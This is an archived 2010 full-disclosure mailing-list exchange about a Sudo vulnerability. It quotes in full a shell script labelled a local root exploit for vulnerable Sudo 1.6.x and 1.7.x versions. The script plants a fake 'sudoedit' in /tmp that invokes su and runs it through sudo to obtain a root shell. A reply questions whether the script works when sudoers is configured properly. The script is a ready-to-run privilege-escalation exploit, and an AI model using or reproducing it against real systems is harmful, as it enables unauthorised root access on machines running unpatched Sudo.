Re: Todd Miller Sudo local root exploit discovered by Slouching

From: Kingcope <kcope2@googlemail.com>
To: andy@hotmail.com
Cc: full-disclosure@lists.grok.org.uk,bugtraq@securityfocus.com
Subject: Re: Todd Miller Sudo local root exploit discovered by Slouching
Date:


Hello Andy,

I am referring to the following forum posts.

http://www.linuxquestions.org/questions/linux-security-4/the-use-of-sudoedit-command-question-785442/

/kcope

Am Mittwoch, den 03.03.2010, 12:03 +0000 schrieb andy@hotmail.com:
> Hi Kingcope,
> 
> ....but if the 'sudoers' file is correctly configured then you would not
> have the appropriate sudo permission to run the 'sudoedit' as root.
> 
> ....of course I'm assuming that the 'sudoers' file has not got the 'run
> any command' in it.
> 
> If the sudoers file used is even the default then I would think you would
> get some error on the lines of:
> 
> 'Sorry, user is not allowed to execute './sudoedit test' as root on this
> machine'.
> 
> Aren't you assuming the the sudoers file has a line in it that allows the
> user in question to run the /home/myhome/sudoedit as sudo???
> 
> Or am I missing something?
> 
> Andy
> 
> On Tue, 2 Mar 2010, Kingcope wrote:
> 
> > Just for the record.
> >
> > ---snip---
> > #!/bin/sh
> > # Tod Miller Sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4
> > # local root exploit
> > # March 2010
> > # automated by kingcope
> > # Full Credits to Slouching
> > echo Tod Miller Sudo local root exploit
> > echo by Slouching
> > echo automated by kingcope
> > if [ $# != 1 ]
> > then
> > echo "usage: ./sudoxpl.sh <file you have permission to edit>"
> > exit
> > fi
> > cd /tmp
> > cat > sudoedit << _EOF
> > #!/bin/sh
> > echo ALEX-ALEX
> > su
> > /bin/su
> > /usr/bin/su
> > _EOF
> > chmod a+x ./sudoedit
> > sudo ./sudoedit $1
> > --snip---
> >
> > cheers,
> > kingcope
> >
> 






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